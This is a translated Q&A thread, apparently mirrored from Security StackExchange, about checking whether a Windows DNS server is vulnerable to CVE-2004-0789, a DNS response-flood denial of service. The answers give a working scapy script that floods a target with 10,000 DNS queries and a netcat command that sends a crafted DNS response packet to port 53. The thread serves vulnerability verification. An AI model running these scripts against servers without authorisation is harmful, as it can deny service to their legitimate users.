首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何测试CVE-2004-0789多供应商DNS响应洪泛拒绝服务?

如何测试CVE-2004-0789多供应商DNS响应洪泛拒绝服务?
EN

Security用户
提问于 2016-08-16 14:42:22
回答 4查看 1.4K关注 0票数 4

我使用Nessus检查我的use服务器上的漏洞。它是一个Windows。Nessus报告说,此服务器存在CVE-2004-0789漏洞.

下面是Nessus的描述:

代码语言:javascript
复制
The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.

如何检查我的服务器上是否确实存在此漏洞?这方面有什么概念的证据吗?

更新:Nessus报告中的一些截图

EN

回答 4

Security用户

回答已采纳

发布于 2019-09-19 13:01:17

我终于找到了一个概念代码的工作证明:

代码语言:javascript
复制
#! /usr/bin/env python
import sys
from scapy.all import *

top_level = ".ch"
domain = "192.168.1.133" # enter the DNS server IP
cnt = 10000 # enter the count of request to be send
dns_server = "192.168.1.133" # enter the same DNS server IP

for i in range(0,cnt):
  s = RandString(RandNum(1,8))
  s1 = s.lower()
  q = s1+"."+domain+top_level
  print i,q
  sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))

参考资料:https://medium.com/cybersecurityservices/multiple-vendor-dns-response-flooding-denial-of-service-cve-2004-0789-clint-josy-c91df5e78d89

票数 0
EN

Security用户

发布于 2017-12-28 22:12:20

通过使用十六进制编辑器创建响应文件(我使用了Nessus google示例),然后通过netcat将数据发送到目标DNS服务器,基本的Nessus测试似乎是可以复制的:

因此:

代码语言:javascript
复制
 od -ah dns-response-dos.txt

0000000   `   x enq etx nul soh nul nul nul nul nul nul etx   w   w   w

f860    8385    0100    0000    0000    0000    7703    7777

0000020 ack   g   o   o   g   l   e etx   c   o   m nul nul dle nul soh

6706    6f6f    6c67    0365    6f63    006d    1000    0100

0000040

然后...and:

代码语言:javascript
复制
cat dns-response-dos.txt | nc -u "target dns server"  53 

`���wwwgooglecom^C

..produces一个回应.

垃圾数据不产生响应。

票数 2
EN

Security用户

发布于 2016-08-16 18:43:33

一个供应商安全页面的一段摘录谈到了这是一个怎样的问题以及它是如何工作的。

代码不安全的主要原因是,当输入数据时,所讨论的代码具有未定义的结果,这与代码的作者期望的格式不同。最简单的情况是缓冲区溢出,在这种情况下,程序被赋予字符串的时间远远长于程序所能处理的时间。另一个例子是另一个DNS实现的古老版本所具有的“缓存毒”错误。对于这个错误,告诉DNS服务器,例如,www.yahoo.com的ip地址是10.69.69.69,这确实指向了一些安装间谍软件的低劣站点,这是一件微不足道的事情。为什么会有这种臭虫?因为此服务器的原始作者并不期望远程服务器故意提供不正确的IP地址。

票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/134034

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档